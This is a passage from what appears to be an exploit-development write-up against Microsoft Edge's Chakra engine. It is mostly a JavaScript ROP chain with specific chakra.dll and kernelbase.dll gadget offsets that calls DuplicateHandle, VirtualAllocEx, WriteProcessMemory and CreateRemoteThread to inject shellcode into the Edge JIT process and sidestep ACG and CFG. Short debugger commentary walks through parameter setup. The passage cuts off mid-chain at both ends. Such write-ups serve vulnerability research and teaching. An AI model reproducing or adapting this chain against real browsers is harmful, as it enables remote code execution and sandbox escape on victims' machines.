write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
next();

// VirtuaAllocEx() ROP chain
// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

// DWORD flAllocationType (R9)
// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
/*
0:031> ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00003000, 0x00000000);             // MEM_RESERVE | MEM_COMMIT
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// SIZE_T dwSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // 0x1000 (shellcode size)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPVOID lpAddress (RDX)
// Let VirtualAllocEx decide where the memory will be located
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL address (let VirtualAllocEx deside where we allocate memory in the JIT process)
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     				   // Recall RAX already has a writable pointer in it

// Call KERNELBASE!VirtualAllocEx
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xff00, kernelbaseHigh); // KERNELBASE!VirtualAllocEx address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!VirtualAllocEx)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!VirtualAllocEx - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD flProtect (RSP+0x28) (PAGE_READWRITE)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// WriteProcessMemory() ROP chain
// Stage 3 -> Write our shellcode into the JIT process

// Store the VirtualAllocEx return address in the .data section of kernelbase.dll (It is currently in RAX)

/*
0:015> dq kernelbase+0x216000+0x4000 L2
00007fff`58cfa000  00000000`00000000 00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where we will store VirtualAllocEx allocation
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00001000, 0x00000000);             // SIZE_T nSize (0x1000)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000-0x8, kernelbaseHigh); // .data section of kernelbase.dll where we have our VirtualAllocEx allocation
next();                                                                            // (-0x8 to compensate for below where we have to read from the address at +0x8 offset
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x255fa0, chakraHigh);      // mov rdx, qword [rdx+0x08] ; mov rax, rdx ; ret
next();

// LPCVOID lpBuffer (R8) (shellcode in chakra.dll .data section)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000, chakraHigh);    	  // .data section of chakra.dll holding our shellcode
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

// CreateRemoteThread() ROP chain
// Stage 4 -> Create a thread within the JIT process, but create it suspended
// This will allow the thread to _not_ execute until we are ready
// LPTHREAD_START_ROUTINE can be set to anything, as CFG will check it and we will end up setting RIP directly later
// We will eventually hijack RSP of this thread with a ROP chain, and by setting RIP to a return gadget our thread, when executed, will return into our ROP chain
// We will update the thread later via another ROP chain to call SetThreadContext()

// LPTHREAD_START_ROUTINE lpStartAddress (R9)
// This can be any random data, since it will never be executed
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x28b4fe, chakraHigh);	   // 0x180043c63: Anything we want - this will never get executed
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which holds our full perms handle to JIT server
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();

// LPSECURITY_ATTRIBUTES lpThreadAttributes (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // NULL (default security properties)
next();

// SIZE_T dwStackSize (R8)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);      // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // 0 (default stack size)
next();

// Call KERNELBASE!CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0xdcfd0, kernelbaseHigh); // KERNELBASE!CreateRemoteThread
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!CreateRemoteThread)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!CreateRemoteThread - 0x180243949: add rsp, 0x38 ; ret
next(); 
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPVOID lpParameter (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000004, 0x00000000);             // DWORD dwCreationFlags (RSP+0x30) (CREATE_SUSPENDED to avoid executing the thread routine)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // LPDWORD lpThreadId (RSP+0x38)
next();

// WriteProcessMemory() ROP chain (Number 2)
// Stage 5 -> Update the final ROP chain, currently in the charka.dll .data section, with the address of our shellcode in the pop rcx gadget for lpAddress

// Before, we need to preserve the thread HANDLE returned by CreateRemoteThread
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a100, kernelbaseHigh); // .data section of kernelbase.dll where we will store the thread HANDLE
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x313349, chakraHigh);       // 0x180313349: mov qword [rcx], rax ; ret (Write the address for storage)
next();

// SIZE_T nSize (R9)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000008, 0x00000000);             // SIZE_T nSize (0x8)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
next();

// HANDLE hProcess (RCX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Current process
next();

// LPVOID lpBaseAddress (RDX)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74b000+ropoffsetOne, chakraHigh); // .data section of chakra.dll where our final ROP chain is
next();                                                                       

// LPCVOID lpBuffer (R8) (Our kernelbase.dll .data section address which points to the value we want to write, the allocation of the VirtualAllocEx allocation)
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x21a000, kernelbaseHigh); // .data section of kernelbase.dll where the VirtualAllocEx allocation is stored
next();

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x28)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

Let’s now walk through this in the debugger. We again set a breakpoint on jmp rax until we reach our call to CreateRemoteThread. From here we can pt this function call to pause at the ret, and view our first gadgets for our new WriteProcessMemory ROP chain.

If we look at the above WriteProcessMemory ROP chain, we start off by actually preserving the value of the handle to the thread we just created in the .data section of kernelbase.dll (very similarly to what we did with preserving our VirtualAllocEx allocation). We can see this in action below (remember CreateRemoteThread’s return value is the handle value to the new thread. It is stored in RAX, so we can pull it directly from there):

After preserving the address, we begin with our first parameter - nSize. Since we are just writing a pointer value, we specify 8 bytes (while dealing with the pesky cmp r8d, [rax] instruction):

Our function call is now in the following state:

WriteProcessMemory(
	-
	-
	-
	0x8							// 64-bit pointer size (sizeof(QWORD)))
	-
);

The next parameter we will target is hProcess. This time we are not writing remotely, and we can simply use -1, or 0xFFFFFFFFFFFFFFFF. This is the value returned by GetCurrentProcess to retrieve a handle to the current process. This tells WriteProcessMemory to perform this write process within the content process, where our VirtualProtect ROP chain is and where our exploit is currently executing. We can simply just write this value to the stack and pop it into RCX.

Our call is now in the current state:

WriteProcessMemory(
	(HANDLE)0xFFFFFFFFFFFFFFFF, 				// Psuedo handle to the current process (the content process, when the exploit is executing)
	-
	-
	0x8							// 64-bit pointer size (sizeof(QWORD)))
	-
);

Next up is lpBaseAddress parameter. This is where we want WriteProcessMemory to write whatever data we want to. In this case, this is the location in the VirtualProtect ROP chain in the .data section of chakra.dll.

Our call is now in the current state:

WriteProcessMemory(
	(HANDLE)0xFFFFFFFFFFFFFFFF, 				// Psuedo handle to the current process (the content process, when the exploit is executing)
	addressof(VirtualProtectROPChain_offset),		// Address of our return value from VirtualAllocEx (where we want to write the VirtualAllocEx_allocation address to)
	-
	0x8							// 64-bit pointer size (sizeof(QWORD)))
	-
);

The next item to take care of is the lpBuffer. This memory address contains the contents we want to write to lpBaseAddress. Recall earlier that we stored our VirtualAllocEx allocation (our shellcode location in the remote process) into the .data section of kernelbase.dll. Since lpBuffer requires a pointer, we simply just need to place the .data address of our stored allocation into R8.

Our call is now in the following state:

WriteProcessMemory(
	(HANDLE)0xFFFFFFFFFFFFFFFF, 				// Psuedo handle to the current process (the content process, when the exploit is executing)
	addressof(VirtualProtectROPChain_offset),		// Address of our return value from VirtualAllocEx (where we want to write the VirtualAllocEx_allocation address to)
	addressof(VirtualAllocEx_Allocation),			// Address of our VirtualAllocEx allocation (where our shellcode resides in the JIT process at this point in the exploit)
	0x8							// 64-bit pointer size (sizeof(QWORD)))
	-
);

The last parameter we need to write to the stack, so we will go ahead and load WriteProcessMemory into RAX and directly write our NULL value.

Here is our VirtualProtect ROP chain before (we are trying to update it an exploit runtime):

After (using pt to execute the call to WriteProcessMemory, which pauses execution on the ret):

As we can see, we successfully updated our ROP chain so that when the VirtualProtect ROP chain is eventually called, it is aware of where our shellcode is.

WriteProcessMemory ROP Chain (Round 3)

This ROP chain is identical to the above ROP chain, except for the fact we want to overwrite a placeholder for the “fake return address” after our eventual call to VirtualProtect. We want VirtualProtect, after it is called, to transfer execution to our shellcode. This can be seen in a snippet of our VirtualProtect ROP chain.

// Store the current offset within the .data section into a var
ropoffsetTwo = countMe;

write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
inc();
write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)
inc();

We need to reconcile this, just like we did in our last WriteProcessMemory call, where we dynamically updated the ROP chain. Again, we need to use another call to WriteProcessMemory to update this last location. This will ensure our eventual VirtualProtect ROP chain is good to go. We will omit these steps, as it is all documented above, but I will still provide the updated code below.

// alert() for debugging
alert("DEBUG");

// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
jitHandle = read64(chakraLo+0x74d838, chakraHigh);

// Helper function to be called after each stack write to increment offset to be written to
function next()
{
    counter+=0x8;
}

// Begin ROP chain
// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

// DuplicateHandle() ROP chain
// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
// ACG is disabled in the JIT process
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

// HANDLE hSourceHandle (RDX)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
next();

// HANDLE hTargetProcessHandle (R8)
// (HANDLE)-1 value of current process
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
next();

// LPHANDLE lpTargetHandle (R9)
// This needs to be a writable address where the full JIT handle will be stored
// Using .data section of chakra.dll in a part where there is no data
/*
0:053> dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
next();
